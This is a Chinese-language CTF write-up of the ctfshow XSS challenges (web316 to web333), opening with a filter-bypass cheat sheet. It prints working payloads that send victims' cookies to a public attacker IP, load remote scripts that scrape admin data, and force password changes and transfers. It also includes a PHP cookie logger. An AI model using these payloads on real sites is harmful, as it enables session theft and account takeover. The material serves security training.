XSS(ctfshow)
xss绕过技巧
基础标签(通用绕过)
标签 | 示例 payload | 适用场景 |
|
| 基础注入,易被过滤 |
|
| 利用 事件触发 |
|
| 短小高效,绕过空格过滤 |
|
| 嵌入JS伪协议 |
|
| 需用户点击触发 |
<body> |
| 页面加载时触发 |
事件处理器
通过HTML事件属性触发JS代码,无需<script>
标签:
事件属性 | 示例 payload | 说明 |
|
| 图片加载失败时触发 |
|
| 页面/元素加载完成时触发 |
|
| 鼠标悬停触发(需交互) |
|
| 元素获取焦点时触发(需交互) |
|
| 点击触发(需交互) |
冷门标签(绕过WAF)
标签 | 示例 payload | 绕过思路 |
|
| 利用 事件 |
|
| 类似 但较少被过滤 |
|
| 多标签嵌套绕过 |
|
| 老旧标签,可能绕过检测 |
|
| 嵌入JS伪协议 |
编码与混淆绕过
1. HTML实体编码
<img src=x onerror=alert(1)>
2. JS编码
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x31\x29')>
3. Unicode编码
<img src=x onerror=alert(1)>
<!-- 等价于 -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>
特殊场景绕过技巧
1. 闭合已有标签
</textarea><script>alert(1)</script>
2. 利用属性注入
<input type="text" value="" autofocus onfocus=alert(1)>
3. CSS注入
<style>@import url("javascript:alert(1)");</style>
AJAX 请求
-
定义:异步javascript和xml,一种无需重新加载整个网页的情况下,能够更新部分网页的技术
-
特点:异步通信,局部刷新,基于 XMLHttpRequest 对象
jQuery AJAX
$.ajax({url: "example.php",method: "POST",data: { name: "John", age: 30 },success: function(response) {console.log(response);}
});
web316
简单测试一下<script>alert(1)</script>语句,发现可行
此脚本实现的功能为从URL的GET参数获取cookie值,并且把当前时间格式化追加到cookie.txt文件
在服务器端设置一个php文件获取网站cookie
在题目中输入此代码访问
<script>location.href="http:/(自己服务器的公网ip)/test.php?cookie="+document.cookie</script>
//location.href = "..." 强制浏览器跳转到指定的url,并获取当前网站的所有cookie
可以看到服务器端已经出现了cookie.text文件,其中就有flag
web317-319
简单测试一下<script>alert(1)</script>语句,发现不可行
可以用body标签
318 319一样
web320-321(过滤空格)
空格可以用%09(tab)、/、/**/、%0a(换行)代替
<body/**/onload="window.location.href='http://47.111.94.227/test.php?cookie='+document.cookie"></body>
<body/onload="window.location.href='http://47.111.94.227/test.php?cookie='+document.cookie"></body>
web322-326
过滤了script,img,iframe,xss,空格,分号,逗号。
<body/onload="window.location.href='http://47.111.94.227/test.php?cookie='+document.cookie"></body>
web327(存储型)
这里的收件人要是admin,payload是一样的
web328
在注册页面输入payload
<script>document.location.href="http://47.111.94.227/test.php?cookie="+document.cookie</script>
返回
者应该是管理员的cookie值
把cookie值改成PHPSESSID=fofmvp71963lcr1olhqdhpaos0,改包发送,得到flag
web329
根据上题的思路再次尝试,发现不行,应该是cookie立即失效了
payload,基本思路就是利用js文件进入管理员页面,并直接把相关信息带出
<?php $cookie = $_GET['cookie'];$myFile = "cookie.txt";file_put_contents($myFile, $cookie, FILE_APPEND);
?>
var img = new Image();
img.src = 'http://47.111.94.227/cookie.php+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
document.body.append(img);
-
document.querySelector(...)
的作用是:
-
通过 CSS 选择器 定位到页面的某个元素。
-
提取该元素的
textContent
(文本内容)。
<script src=http://47.111.94.227/1.js></script>
//利用注册输入
返回了admin账号的密码,登录拦截就可以得到
web330
新增了修改密码的功能,抓包看一下,想到构造<script>document.location.href="http://127.0.0.1/api/change.php?p=123456"</script>
直接修改管理员密码
这里127.0.0.1是因为数据库是本地的
登录成功后抓包
web331
发现请求方式变成了post
把payload改成post形式的
<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}})</script>
登录即可
web332-333
加了一些转账的相关功能
方法一:
先尝试把转账金额改成负数,或者向自己转账都能让钱变多。
方法二:
脚本
// a.js
$.ajax({url: "http://127.0.0.1/api/amount.php",method: "POST",data:{'u':'test','a':10000},cache: false,success: function(res){
}});
利用注册<script src="http://47.111.94.227/a.js"></script>